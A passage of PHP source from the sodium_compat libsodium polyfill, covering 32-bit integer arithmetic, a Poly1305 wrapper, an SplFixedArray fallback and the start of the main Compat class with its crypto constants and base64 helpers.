                    $c = $res[$i] >> 16;
                    $res[$i] &= 0xffff;
                }
            }
        }
        $return = new ParagonIE_Sodium_Core32_Int32();
        $return->limbs = array(
            $res[1] & 0xffff,
            $res[0] & 0xffff
        );
        if (count($res) > 2) {
            $return->overflow = $res[2];
        }
        return $return;
    }

    /**
     * @param int $int
     * @param int $size
     * @return ParagonIE_Sodium_Core32_Int32
     * @throws SodiumException
     * @throws TypeError
     */
    public function mulInt($int = 0, $size = 0)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($int, 'int', 1);
        ParagonIE_Sodium_Core32_Util::declareScalarType($size, 'int', 2);
        if (ParagonIE_Sodium_Compat::$fastMult) {
            return $this->mulIntFast((int) $int);
        }
        /** @var int $int */
        $int = (int) $int;
        /** @var int $size */
        $size = (int) $size;

        if (!$size) {
            $size = 31;
        }
        /** @var int $size */

        $a = clone $this;
        $return = new ParagonIE_Sodium_Core32_Int32();
        $return->unsignedInt = $this->unsignedInt;

        // Initialize:
        $ret0 = 0;
        $ret1 = 0;
        $a0 = $a->limbs[0];
        $a1 = $a->limbs[1];

        /** @var int $size */
        /** @var int $i */
        for ($i = $size; $i >= 0; --$i) {
            $m = (int) (-($int & 1));
            $x0 = $a0 & $m;
            $x1 = $a1 & $m;

            $ret1 += $x1;
            $c = $ret1 >> 16;

            $ret0 += $x0 + $c;

            $ret0 &= 0xffff;
            $ret1 &= 0xffff;

            $a1 = ($a1 << 1);
            $x1 = $a1 >> 16;
            $a0 = ($a0 << 1) | $x1;
            $a0 &= 0xffff;
            $a1 &= 0xffff;
            $int >>= 1;
        }
        $return->limbs[0] = $ret0;
        $return->limbs[1] = $ret1;
        return $return;
    }

    /**
     * @param ParagonIE_Sodium_Core32_Int32 $int
     * @param int $size
     * @return ParagonIE_Sodium_Core32_Int32
     * @throws SodiumException
     * @throws TypeError
     */
    public function mulInt32(ParagonIE_Sodium_Core32_Int32 $int, $size = 0)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($size, 'int', 2);
        if (ParagonIE_Sodium_Compat::$fastMult) {
            return $this->mulInt32Fast($int);
        }
        if (!$size) {
            $size = 31;
        }
        /** @var int $size */

        $a = clone $this;
        $b = clone $int;
        $return = new ParagonIE_Sodium_Core32_Int32();
        $return->unsignedInt = $this->unsignedInt;

        // Initialize:
        $ret0 = 0;
        $ret1 = 0;
        $a0 = $a->limbs[0];
        $a1 = $a->limbs[1];
        $b0 = $b->limbs[0];
        $b1 = $b->limbs[1];

        /** @var int $size */
        /** @var int $i */
        for ($i = $size; $i >= 0; --$i) {
            $m = (int) (-($b1 & 1));
            $x0 = $a0 & $m;
            $x1 = $a1 & $m;

            $ret1 += $x1;
            $c = $ret1 >> 16;

            $ret0 += $x0 + $c;

            $ret0 &= 0xffff;
            $ret1 &= 0xffff;

            $a1 = ($a1 << 1);
            $x1 = $a1 >> 16;
            $a0 = ($a0 << 1) | $x1;
            $a0 &= 0xffff;
            $a1 &= 0xffff;

            $x0 = ($b0 & 1) << 16;
            $b0 = ($b0 >> 1);
            $b1 = (($b1 | $x0) >> 1);

            $b0 &= 0xffff;
            $b1 &= 0xffff;

        }
        $return->limbs[0] = $ret0;
        $return->limbs[1] = $ret1;

        return $return;
    }

    /**
     * OR this 32-bit integer with another.
     *
     * @param ParagonIE_Sodium_Core32_Int32 $b
     * @return ParagonIE_Sodium_Core32_Int32
     */
    public function orInt32(ParagonIE_Sodium_Core32_Int32 $b)
    {
        $return = new ParagonIE_Sodium_Core32_Int32();
        $return->unsignedInt = $this->unsignedInt;
        $return->limbs = array(
            (int) ($this->limbs[0] | $b->limbs[0]),
            (int) ($this->limbs[1] | $b->limbs[1])
        );
        /** @var int overflow */
        $return->overflow = $this->overflow | $b->overflow;
        return $return;
    }

    /**
     * @param int $b
     * @return bool
     */
    public function isGreaterThan($b = 0)
    {
        return $this->compareInt($b) > 0;
    }

    /**
     * @param int $b
     * @return bool
     */
    public function isLessThanInt($b = 0)
    {
        return $this->compareInt($b) < 0;
    }

    /**
     * @param int $c
     * @return ParagonIE_Sodium_Core32_Int32
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArrayAccess
     */
    public function rotateLeft($c = 0)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($c, 'int', 1);
        /** @var int $c */
        $c = (int) $c;

        $return = new ParagonIE_Sodium_Core32_Int32();
        $return->unsignedInt = $this->unsignedInt;
        $c &= 31;
        if ($c === 0) {
            // NOP, but we want a copy.
            $return->limbs = $this->limbs;
        } else {
            /** @var int $c */

            /** @var int $idx_shift */
            $idx_shift = ($c >> 4) & 1;

            /** @var int $sub_shift */
            $sub_shift = $c & 15;

            /** @var array<int, int> $limbs */
            $limbs =& $return->limbs;

            /** @var array<int, int> $myLimbs */
            $myLimbs =& $this->limbs;

            for ($i = 1; $i >= 0; --$i) {
                /** @var int $j */
                $j = ($i + $idx_shift) & 1;
                /** @var int $k */
                $k = ($i + $idx_shift + 1) & 1;
                $limbs[$i] = (int) (
                    (
                        ((int) ($myLimbs[$j]) << $sub_shift)
                            |
                        ((int) ($myLimbs[$k]) >> (16 - $sub_shift))
                    ) & 0xffff
                );
            }
        }
        return $return;
    }

    /**
     * Rotate to the right
     *
     * @param int $c
     * @return ParagonIE_Sodium_Core32_Int32
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArrayAccess
     */
    public function rotateRight($c = 0)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($c, 'int', 1);
        /** @var int $c */
        $c = (int) $c;

        $return = new ParagonIE_Sodium_Core32_Int32();
        $return->unsignedInt = $this->unsignedInt;
        $c &= 31;
        /** @var int $c */
        if ($c === 0) {
            // NOP, but we want a copy.
            $return->limbs = $this->limbs;
        } else {
            /** @var int $c */

            /** @var int $idx_shift */
            $idx_shift = ($c >> 4) & 1;

            /** @var int $sub_shift */
            $sub_shift = $c & 15;

            /** @var array<int, int> $limbs */
            $limbs =& $return->limbs;

            /** @var array<int, int> $myLimbs */
            $myLimbs =& $this->limbs;

            for ($i = 1; $i >= 0; --$i) {
                /** @var int $j */
                $j = ($i - $idx_shift) & 1;
                /** @var int $k */
                $k = ($i - $idx_shift - 1) & 1;
                $limbs[$i] = (int) (
                    (
                        ((int) ($myLimbs[$j]) >> (int) ($sub_shift))
                            |
                        ((int) ($myLimbs[$k]) << (16 - (int) ($sub_shift)))
                    ) & 0xffff
                );
            }
        }
        return $return;
    }

    /**
     * @param bool $bool
     * @return self
     */
    public function setUnsignedInt($bool = false)
    {
        $this->unsignedInt = !empty($bool);
        return $this;
    }

    /**
     * @param int $c
     * @return ParagonIE_Sodium_Core32_Int32
     * @throws SodiumException
     * @throws TypeError
     */
    public function shiftLeft($c = 0)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($c, 'int', 1);
        /** @var int $c */
        $c = (int) $c;

        $return = new ParagonIE_Sodium_Core32_Int32();
        $return->unsignedInt = $this->unsignedInt;
        $c &= 63;
        /** @var int $c */
        if ($c === 0) {
            $return->limbs = $this->limbs;
        } elseif ($c < 0) {
            /** @var int $c */
            return $this->shiftRight(-$c);
        } else {
            /** @var int $c */
            /** @var int $tmp */
            $tmp = $this->limbs[1] << $c;
            $return->limbs[1] = (int)($tmp & 0xffff);
            /** @var int $carry */
            $carry = $tmp >> 16;

            /** @var int $tmp */
            $tmp = ($this->limbs[0] << $c) | ($carry & 0xffff);
            $return->limbs[0] = (int) ($tmp & 0xffff);
        }
        return $return;
    }

    /**
     * @param int $c
     * @return ParagonIE_Sodium_Core32_Int32
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedOperand
     */
    public function shiftRight($c = 0)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($c, 'int', 1);
        /** @var int $c */
        $c = (int) $c;

        $return = new ParagonIE_Sodium_Core32_Int32();
        $return->unsignedInt = $this->unsignedInt;
        $c &= 63;
        /** @var int $c */
        if ($c >= 16) {
            $return->limbs = array(
                (int) ($this->overflow & 0xffff),
                (int) ($this->limbs[0])
            );
            $return->overflow = $this->overflow >> 16;
            return $return->shiftRight($c & 15);
        }
        if ($c === 0) {
            $return->limbs = $this->limbs;
        } elseif ($c < 0) {
            /** @var int $c */
            return $this->shiftLeft(-$c);
        } else {
            if (!is_int($c)) {
                throw new TypeError();
            }
            /** @var int $c */
            // $return->limbs[0] = (int) (($this->limbs[0] >> $c) & 0xffff);
            $carryLeft = (int) ($this->overflow & ((1 << ($c + 1)) - 1));
            $return->limbs[0] = (int) ((($this->limbs[0] >> $c) | ($carryLeft << (16 - $c))) & 0xffff);
            $carryRight = (int) ($this->limbs[0] & ((1 << ($c + 1)) - 1));
            $return->limbs[1] = (int) ((($this->limbs[1] >> $c) | ($carryRight << (16 - $c))) & 0xffff);
            $return->overflow >>= $c;
        }
        return $return;
    }

    /**
     * Subtract a normal integer from an int32 object.
     *
     * @param int $int
     * @return ParagonIE_Sodium_Core32_Int32
     * @throws SodiumException
     * @throws TypeError
     */
    public function subInt($int)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($int, 'int', 1);
        /** @var int $int */
        $int = (int) $int;

        $return = new ParagonIE_Sodium_Core32_Int32();
        $return->unsignedInt = $this->unsignedInt;

        /** @var int $tmp */
        $tmp = $this->limbs[1] - ($int & 0xffff);
        /** @var int $carry */
        $carry = $tmp >> 16;
        $return->limbs[1] = (int) ($tmp & 0xffff);

        /** @var int $tmp */
        $tmp = $this->limbs[0] - (($int >> 16) & 0xffff) + $carry;
        $return->limbs[0] = (int) ($tmp & 0xffff);
        return $return;
    }

    /**
     * Subtract two int32 objects from each other
     *
     * @param ParagonIE_Sodium_Core32_Int32 $b
     * @return ParagonIE_Sodium_Core32_Int32
     */
    public function subInt32(ParagonIE_Sodium_Core32_Int32 $b)
    {
        $return = new ParagonIE_Sodium_Core32_Int32();
        $return->unsignedInt = $this->unsignedInt;

        /** @var int $tmp */
        $tmp = $this->limbs[1] - ($b->limbs[1] & 0xffff);
        /** @var int $carry */
        $carry = $tmp >> 16;
        $return->limbs[1] = (int) ($tmp & 0xffff);

        /** @var int $tmp */
        $tmp = $this->limbs[0] - ($b->limbs[0] & 0xffff) + $carry;
        $return->limbs[0] = (int) ($tmp & 0xffff);
        return $return;
    }

    /**
     * XOR this 32-bit integer with another.
     *
     * @param ParagonIE_Sodium_Core32_Int32 $b
     * @return ParagonIE_Sodium_Core32_Int32
     */
    public function xorInt32(ParagonIE_Sodium_Core32_Int32 $b)
    {
        $return = new ParagonIE_Sodium_Core32_Int32();
        $return->unsignedInt = $this->unsignedInt;
        $return->limbs = array(
            (int) ($this->limbs[0] ^ $b->limbs[0]),
            (int) ($this->limbs[1] ^ $b->limbs[1])
        );
        return $return;
    }

    /**
     * @param int $signed
     * @return self
     * @throws SodiumException
     * @throws TypeError
     */
    public static function fromInt($signed)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($signed, 'int', 1);;
        /** @var int $signed */
        $signed = (int) $signed;

        return new ParagonIE_Sodium_Core32_Int32(
            array(
                (int) (($signed >> 16) & 0xffff),
                (int) ($signed & 0xffff)
            )
        );
    }

    /**
     * @param string $string
     * @return self
     * @throws SodiumException
     * @throws TypeError
     */
    public static function fromString($string)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($string, 'string', 1);
        $string = (string) $string;
        if (ParagonIE_Sodium_Core32_Util::strlen($string) !== 4) {
            throw new RangeException(
                'String must be 4 bytes; ' . ParagonIE_Sodium_Core32_Util::strlen($string) . ' given.'
            );
        }
        $return = new ParagonIE_Sodium_Core32_Int32();

        $return->limbs[0]  = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[0]) & 0xff) << 8);
        $return->limbs[0] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[1]) & 0xff);
        $return->limbs[1]  = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[2]) & 0xff) << 8);
        $return->limbs[1] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[3]) & 0xff);
        return $return;
    }

    /**
     * @param string $string
     * @return self
     * @throws SodiumException
     * @throws TypeError
     */
    public static function fromReverseString($string)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($string, 'string', 1);
        $string = (string) $string;
        if (ParagonIE_Sodium_Core32_Util::strlen($string) !== 4) {
            throw new RangeException(
                'String must be 4 bytes; ' . ParagonIE_Sodium_Core32_Util::strlen($string) . ' given.'
            );
        }
        $return = new ParagonIE_Sodium_Core32_Int32();

        $return->limbs[0]  = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[3]) & 0xff) << 8);
        $return->limbs[0] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[2]) & 0xff);
        $return->limbs[1]  = (int) ((ParagonIE_Sodium_Core32_Util::chrToInt($string[1]) & 0xff) << 8);
        $return->limbs[1] |= (ParagonIE_Sodium_Core32_Util::chrToInt($string[0]) & 0xff);
        return $return;
    }

    /**
     * @return array<int, int>
     */
    public function toArray()
    {
        return array((int) ($this->limbs[0] << 16 | $this->limbs[1]));
    }

    /**
     * @return string
     * @throws TypeError
     */
    public function toString()
    {
        return
            ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[0] >> 8) & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[0] & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[1] >> 8) & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[1] & 0xff);
    }

    /**
     * @return int
     */
    public function toInt()
    {
        return (int) (
            (($this->limbs[0] & 0xffff) << 16)
                |
            ($this->limbs[1] & 0xffff)
        );
    }

    /**
     * @return ParagonIE_Sodium_Core32_Int32
     */
    public function toInt32()
    {
        $return = new ParagonIE_Sodium_Core32_Int32();
        $return->limbs[0] = (int) ($this->limbs[0] & 0xffff);
        $return->limbs[1] = (int) ($this->limbs[1] & 0xffff);
        $return->unsignedInt = $this->unsignedInt;
        $return->overflow = (int) ($this->overflow & 0x7fffffff);
        return $return;
    }

    /**
     * @return ParagonIE_Sodium_Core32_Int64
     */
    public function toInt64()
    {
        $return = new ParagonIE_Sodium_Core32_Int64();
        $return->unsignedInt = $this->unsignedInt;
        if ($this->unsignedInt) {
            $return->limbs[0] += (($this->overflow >> 16) & 0xffff);
            $return->limbs[1] += (($this->overflow) & 0xffff);
        } else {
            $neg = -(($this->limbs[0] >> 15) & 1);
            $return->limbs[0] = (int)($neg & 0xffff);
            $return->limbs[1] = (int)($neg & 0xffff);
        }
        $return->limbs[2] = (int) ($this->limbs[0] & 0xffff);
        $return->limbs[3] = (int) ($this->limbs[1] & 0xffff);
        return $return;
    }

    /**
     * @return string
     * @throws TypeError
     */
    public function toReverseString()
    {
        return ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[1] & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[1] >> 8) & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr($this->limbs[0] & 0xff) .
            ParagonIE_Sodium_Core32_Util::intToChr(($this->limbs[0] >> 8) & 0xff);
    }

    /**
     * @return string
     */
    public function __toString()
    {
        try {
            return $this->toString();
        } catch (TypeError $ex) {
            // PHP engine can't handle exceptions from __toString()
            return '';
        }
    }
}
<?php

if (class_exists('ParagonIE_Sodium_Core32_Poly1305', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core32_Poly1305
 */
abstract class ParagonIE_Sodium_Core32_Poly1305 extends ParagonIE_Sodium_Core32_Util
{
    const BLOCK_SIZE = 16;

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $m
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function onetimeauth($m, $key)
    {
        if (self::strlen($key) < 32) {
            throw new InvalidArgumentException(
                'Key must be 32 bytes long.'
            );
        }
        $state = new ParagonIE_Sodium_Core32_Poly1305_State(
            self::substr($key, 0, 32)
        );
        return $state
            ->update($m)
            ->finish();
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $mac
     * @param string $m
     * @param string $key
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function onetimeauth_verify($mac, $m, $key)
    {
        if (self::strlen($key) < 32) {
            throw new InvalidArgumentException(
                'Key must be 32 bytes long.'
            );
        }
        $state = new ParagonIE_Sodium_Core32_Poly1305_State(
            self::substr($key, 0, 32)
        );
        $calc = $state
            ->update($m)
            ->finish();
        return self::verify_16($calc, $mac);
    }
}
<?php

if (class_exists('SplFixedArray')) {
    return;
}

/**
 * The SplFixedArray class provides the main functionalities of array. The
 * main differences between a SplFixedArray and a normal PHP array is that
 * the SplFixedArray is of fixed length and allows only integers within
 * the range as indexes. The advantage is that it allows a faster array
 * implementation.
 */
class SplFixedArray implements Iterator, ArrayAccess, Countable
{
    /** @var array<int, mixed> */
    private $internalArray = array();

    /** @var int $size */
    private $size = 0;

    /**
     * SplFixedArray constructor.
     * @param int $size
     */
    public function __construct($size = 0)
    {
        $this->size = $size;
        $this->internalArray = array();
    }

    /**
     * @return int
     */
    public function count()
    {
        return count($this->internalArray);
    }

    /**
     * @return array
     */
    public function toArray()
    {
        ksort($this->internalArray);
        return (array) $this->internalArray;
    }

    /**
     * @param array $array
     * @param bool $save_indexes
     * @return SplFixedArray
     * @psalm-suppress MixedAssignment
     */
    public static function fromArray(array $array, $save_indexes = true)
    {
        $self = new SplFixedArray(count($array));
        if($save_indexes) {
            foreach($array as $key => $value) {
                $self[(int) $key] = $value;
            }
        } else {
            $i = 0;
            foreach (array_values($array) as $value) {
                $self[$i] = $value;
                $i++;
            }
        }
        return $self;
    }

    /**
     * @return int
     */
    public function getSize()
    {
        return $this->size;
    }

    /**
     * @param int $size
     * @return bool
     */
    public function setSize($size)
    {
        $this->size = $size;
        return true;
    }

    /**
     * @param string|int $index
     * @return bool
     */
    public function offsetExists($index)
    {
        return array_key_exists((int) $index, $this->internalArray);
    }

    /**
     * @param string|int $index
     * @return mixed
     */
    public function offsetGet($index)
    {
        /** @psalm-suppress MixedReturnStatement */
        return $this->internalArray[(int) $index];
    }

    /**
     * @param string|int $index
     * @param mixed $newval
     * @psalm-suppress MixedAssignment
     */
    public function offsetSet($index, $newval)
    {
        $this->internalArray[(int) $index] = $newval;
    }

    /**
     * @param string|int $index
     */
    public function offsetUnset($index)
    {
        unset($this->internalArray[(int) $index]);
    }

    /**
     * Rewind iterator back to the start
     * @link https://php.net/manual/en/splfixedarray.rewind.php
     * @return void
     * @since 5.3.0
     */
    public function rewind()
    {
        reset($this->internalArray);
    }

    /**
     * Return current array entry
     * @link https://php.net/manual/en/splfixedarray.current.php
     * @return mixed The current element value.
     * @since 5.3.0
     */
    public function current()
    {
        /** @psalm-suppress MixedReturnStatement */
        return current($this->internalArray);
    }

    /**
     * Return current array index
     * @return int The current array index.
     */
    public function key()
    {
        return key($this->internalArray);
    }

    /**
     * @return void
     */
    public function next()
    {
        next($this->internalArray);
    }

    /**
     * Check whether the array contains more elements
     * @link https://php.net/manual/en/splfixedarray.valid.php
     * @return bool true if the array contains any more elements, false otherwise.
     */
    public function valid()
    {
        if (empty($this->internalArray)) {
            return false;
        }
        $result = next($this->internalArray) !== false;
        prev($this->internalArray);
        return $result;
    }

    /**
     * Do nothing.
     */
    public function __wakeup()
    {
        // NOP
    }
}<?php

/**
 * Libsodium compatibility layer
 *
 * This is the only class you should be interfacing with, as a user of
 * sodium_compat.
 *
 * If the PHP extension for libsodium is installed, it will always use that
 * instead of our implementations. You get better performance and stronger
 * guarantees against side-channels that way.
 *
 * However, if your users don't have the PHP extension installed, we offer a
 * compatible interface here. It will give you the correct results as if the
 * PHP extension was installed. It won't be as fast, of course.
 *
 * CAUTION * CAUTION * CAUTION * CAUTION * CAUTION * CAUTION * CAUTION * CAUTION *
 *                                                                               *
 *     Until audited, this is probably not safe to use! DANGER WILL ROBINSON     *
 *                                                                               *
 * CAUTION * CAUTION * CAUTION * CAUTION * CAUTION * CAUTION * CAUTION * CAUTION *
 */

if (class_exists('ParagonIE_Sodium_Compat', false)) {
    return;
}

class ParagonIE_Sodium_Compat
{
    /**
     * This parameter prevents the use of the PECL extension.
     * It should only be used for unit testing.
     *
     * @var bool
     */
    public static $disableFallbackForUnitTests = false;

    /**
     * Use fast multiplication rather than our constant-time multiplication
     * implementation. Can be enabled at runtime. Only enable this if you
     * are absolutely certain that there is no timing leak on your platform.
     *
     * @var bool
     */
    public static $fastMult = false;

    const LIBRARY_MAJOR_VERSION = 9;
    const LIBRARY_MINOR_VERSION = 1;
    const LIBRARY_VERSION_MAJOR = 9;
    const LIBRARY_VERSION_MINOR = 1;
    const VERSION_STRING = 'polyfill-1.0.8';

    // From libsodium
    const BASE64_VARIANT_ORIGINAL = 1;
    const BASE64_VARIANT_ORIGINAL_NO_PADDING = 3;
    const BASE64_VARIANT_URLSAFE = 5;
    const BASE64_VARIANT_URLSAFE_NO_PADDING = 7;
    const CRYPTO_AEAD_AES256GCM_KEYBYTES = 32;
    const CRYPTO_AEAD_AES256GCM_NSECBYTES = 0;
    const CRYPTO_AEAD_AES256GCM_NPUBBYTES = 12;
    const CRYPTO_AEAD_AES256GCM_ABYTES = 16;
    const CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES = 32;
    const CRYPTO_AEAD_CHACHA20POLY1305_NSECBYTES = 0;
    const CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES = 8;
    const CRYPTO_AEAD_CHACHA20POLY1305_ABYTES = 16;
    const CRYPTO_AEAD_CHACHA20POLY1305_IETF_KEYBYTES = 32;
    const CRYPTO_AEAD_CHACHA20POLY1305_IETF_NSECBYTES = 0;
    const CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES = 12;
    const CRYPTO_AEAD_CHACHA20POLY1305_IETF_ABYTES = 16;
    const CRYPTO_AEAD_XCHACHA20POLY1305_IETF_KEYBYTES = 32;
    const CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NSECBYTES = 0;
    const CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES = 24;
    const CRYPTO_AEAD_XCHACHA20POLY1305_IETF_ABYTES = 16;
    const CRYPTO_AUTH_BYTES = 32;
    const CRYPTO_AUTH_KEYBYTES = 32;
    const CRYPTO_BOX_SEALBYTES = 16;
    const CRYPTO_BOX_SECRETKEYBYTES = 32;
    const CRYPTO_BOX_PUBLICKEYBYTES = 32;
    const CRYPTO_BOX_KEYPAIRBYTES = 64;
    const CRYPTO_BOX_MACBYTES = 16;
    const CRYPTO_BOX_NONCEBYTES = 24;
    const CRYPTO_BOX_SEEDBYTES = 32;
    const CRYPTO_CORE_RISTRETTO255_BYTES = 32;
    const CRYPTO_CORE_RISTRETTO255_SCALARBYTES = 32;
    const CRYPTO_CORE_RISTRETTO255_HASHBYTES = 64;
    const CRYPTO_CORE_RISTRETTO255_NONREDUCEDSCALARBYTES = 64;
    const CRYPTO_KDF_BYTES_MIN = 16;
    const CRYPTO_KDF_BYTES_MAX = 64;
    const CRYPTO_KDF_CONTEXTBYTES = 8;
    const CRYPTO_KDF_KEYBYTES = 32;
    const CRYPTO_KX_BYTES = 32;
    const CRYPTO_KX_PRIMITIVE = 'x25519blake2b';
    const CRYPTO_KX_SEEDBYTES = 32;
    const CRYPTO_KX_KEYPAIRBYTES = 64;
    const CRYPTO_KX_PUBLICKEYBYTES = 32;
    const CRYPTO_KX_SECRETKEYBYTES = 32;
    const CRYPTO_KX_SESSIONKEYBYTES = 32;
    const CRYPTO_GENERICHASH_BYTES = 32;
    const CRYPTO_GENERICHASH_BYTES_MIN = 16;
    const CRYPTO_GENERICHASH_BYTES_MAX = 64;
    const CRYPTO_GENERICHASH_KEYBYTES = 32;
    const CRYPTO_GENERICHASH_KEYBYTES_MIN = 16;
    const CRYPTO_GENERICHASH_KEYBYTES_MAX = 64;
    const CRYPTO_PWHASH_SALTBYTES = 16;
    const CRYPTO_PWHASH_STRPREFIX = '$argon2id$';
    const CRYPTO_PWHASH_ALG_ARGON2I13 = 1;
    const CRYPTO_PWHASH_ALG_ARGON2ID13 = 2;
    const CRYPTO_PWHASH_MEMLIMIT_INTERACTIVE = 33554432;
    const CRYPTO_PWHASH_OPSLIMIT_INTERACTIVE = 4;
    const CRYPTO_PWHASH_MEMLIMIT_MODERATE = 134217728;
    const CRYPTO_PWHASH_OPSLIMIT_MODERATE = 6;
    const CRYPTO_PWHASH_MEMLIMIT_SENSITIVE = 536870912;
    const CRYPTO_PWHASH_OPSLIMIT_SENSITIVE = 8;
    const CRYPTO_PWHASH_SCRYPTSALSA208SHA256_SALTBYTES = 32;
    const CRYPTO_PWHASH_SCRYPTSALSA208SHA256_STRPREFIX = '$7$';
    const CRYPTO_PWHASH_SCRYPTSALSA208SHA256_OPSLIMIT_INTERACTIVE = 534288;
    const CRYPTO_PWHASH_SCRYPTSALSA208SHA256_MEMLIMIT_INTERACTIVE = 16777216;
    const CRYPTO_PWHASH_SCRYPTSALSA208SHA256_OPSLIMIT_SENSITIVE = 33554432;
    const CRYPTO_PWHASH_SCRYPTSALSA208SHA256_MEMLIMIT_SENSITIVE = 1073741824;
    const CRYPTO_SCALARMULT_BYTES = 32;
    const CRYPTO_SCALARMULT_SCALARBYTES = 32;
    const CRYPTO_SCALARMULT_RISTRETTO255_BYTES = 32;
    const CRYPTO_SCALARMULT_RISTRETTO255_SCALARBYTES = 32;
    const CRYPTO_SHORTHASH_BYTES = 8;
    const CRYPTO_SHORTHASH_KEYBYTES = 16;
    const CRYPTO_SECRETBOX_KEYBYTES = 32;
    const CRYPTO_SECRETBOX_MACBYTES = 16;
    const CRYPTO_SECRETBOX_NONCEBYTES = 24;
    const CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_ABYTES = 17;
    const CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_HEADERBYTES = 24;
    const CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_KEYBYTES = 32;
    const CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_PUSH = 0;
    const CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_PULL = 1;
    const CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_REKEY = 2;
    const CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_FINAL = 3;
    const CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_MESSAGEBYTES_MAX = 0x3fffffff80;
    const CRYPTO_SIGN_BYTES = 64;
    const CRYPTO_SIGN_SEEDBYTES = 32;
    const CRYPTO_SIGN_PUBLICKEYBYTES = 32;
    const CRYPTO_SIGN_SECRETKEYBYTES = 64;
    const CRYPTO_SIGN_KEYPAIRBYTES = 96;
    const CRYPTO_STREAM_KEYBYTES = 32;
    const CRYPTO_STREAM_NONCEBYTES = 24;
    const CRYPTO_STREAM_XCHACHA20_KEYBYTES = 32;
    const CRYPTO_STREAM_XCHACHA20_NONCEBYTES = 24;

    /**
     * Add two numbers (little-endian unsigned), storing the value in the first
     * parameter.
     *
     * This mutates $val.
     *
     * @param string $val
     * @param string $addv
     * @return void
     * @throws SodiumException
     */
    public static function add(&$val, $addv)
    {
        $val_len = ParagonIE_Sodium_Core_Util::strlen($val);
        $addv_len = ParagonIE_Sodium_Core_Util::strlen($addv);
        if ($val_len !== $addv_len) {
            throw new SodiumException('values must have the same length');
        }
        $A = ParagonIE_Sodium_Core_Util::stringToIntArray($val);
        $B = ParagonIE_Sodium_Core_Util::stringToIntArray($addv);

        $c = 0;
        for ($i = 0; $i < $val_len; $i++) {
            $c += ($A[$i] + $B[$i]);
            $A[$i] = ($c & 0xff);
            $c >>= 8;
        }
        $val = ParagonIE_Sodium_Core_Util::intArrayToString($A);
    }

    /**
     * @param string $encoded
     * @param int $variant
     * @param string $ignore
     * @return string
     * @throws SodiumException
     */
    public static function base642bin($encoded, $variant, $ignore = '')
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($encoded, 'string', 1);

        /** @var string $encoded */
        $encoded = (string) $encoded;
        if (ParagonIE_Sodium_Core_Util::strlen($encoded) === 0) {
            return '';
        }

        // Just strip before decoding
        if (!empty($ignore)) {
            $encoded = str_replace($ignore, '', $encoded);
        }

        try {
            switch ($variant) {
                case self::BASE64_VARIANT_ORIGINAL:
                    return ParagonIE_Sodium_Core_Base64_Original::decode($encoded, true);
                case self::BASE64_VARIANT_ORIGINAL_NO_PADDING:
                    return ParagonIE_Sodium_Core_Base64_Original::decode($encoded, false);
                case self::BASE64_VARIANT_URLSAFE:
                    return ParagonIE_Sodium_Core_Base64_UrlSafe::decode($encoded, true);
                case self::BASE64_VARIANT_URLSAFE_NO_PADDING:
                    return ParagonIE_Sodium_Core_Base64_UrlSafe::decode($encoded, false);
                default:
                    throw new SodiumException('invalid base64 variant identifier');
            }
        } catch (Exception $ex) {
            if ($ex instanceof SodiumException) {
                throw $ex;
            }
            throw new SodiumException('invalid base64 string');
        }
    }

    /**
     * @param string $decoded
     * @param int $variant
     * @return string
     * @throws SodiumException
     */
    public static function bin2base64($decoded, $variant)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($decoded, 'string', 1);
        /** @var string $decoded */
        $decoded = (string) $decoded;
        if (ParagonIE_Sodium_Core_Util::strlen($decoded) === 0) {
            return '';
        }

        switch ($variant) {
            case self::BASE64_VARIANT_ORIGINAL:
                return ParagonIE_Sodium_Core_Base64_Original::encode($decoded);
            case self::BASE64_VARIANT_ORIGINAL_NO_PADDING:
                return ParagonIE_Sodium_Core_Base64_Original::encodeUnpadded($decoded);
            case self::BASE64_VARIANT_URLSAFE:
                return ParagonIE_Sodium_Core_Base64_UrlSafe::encode($decoded);
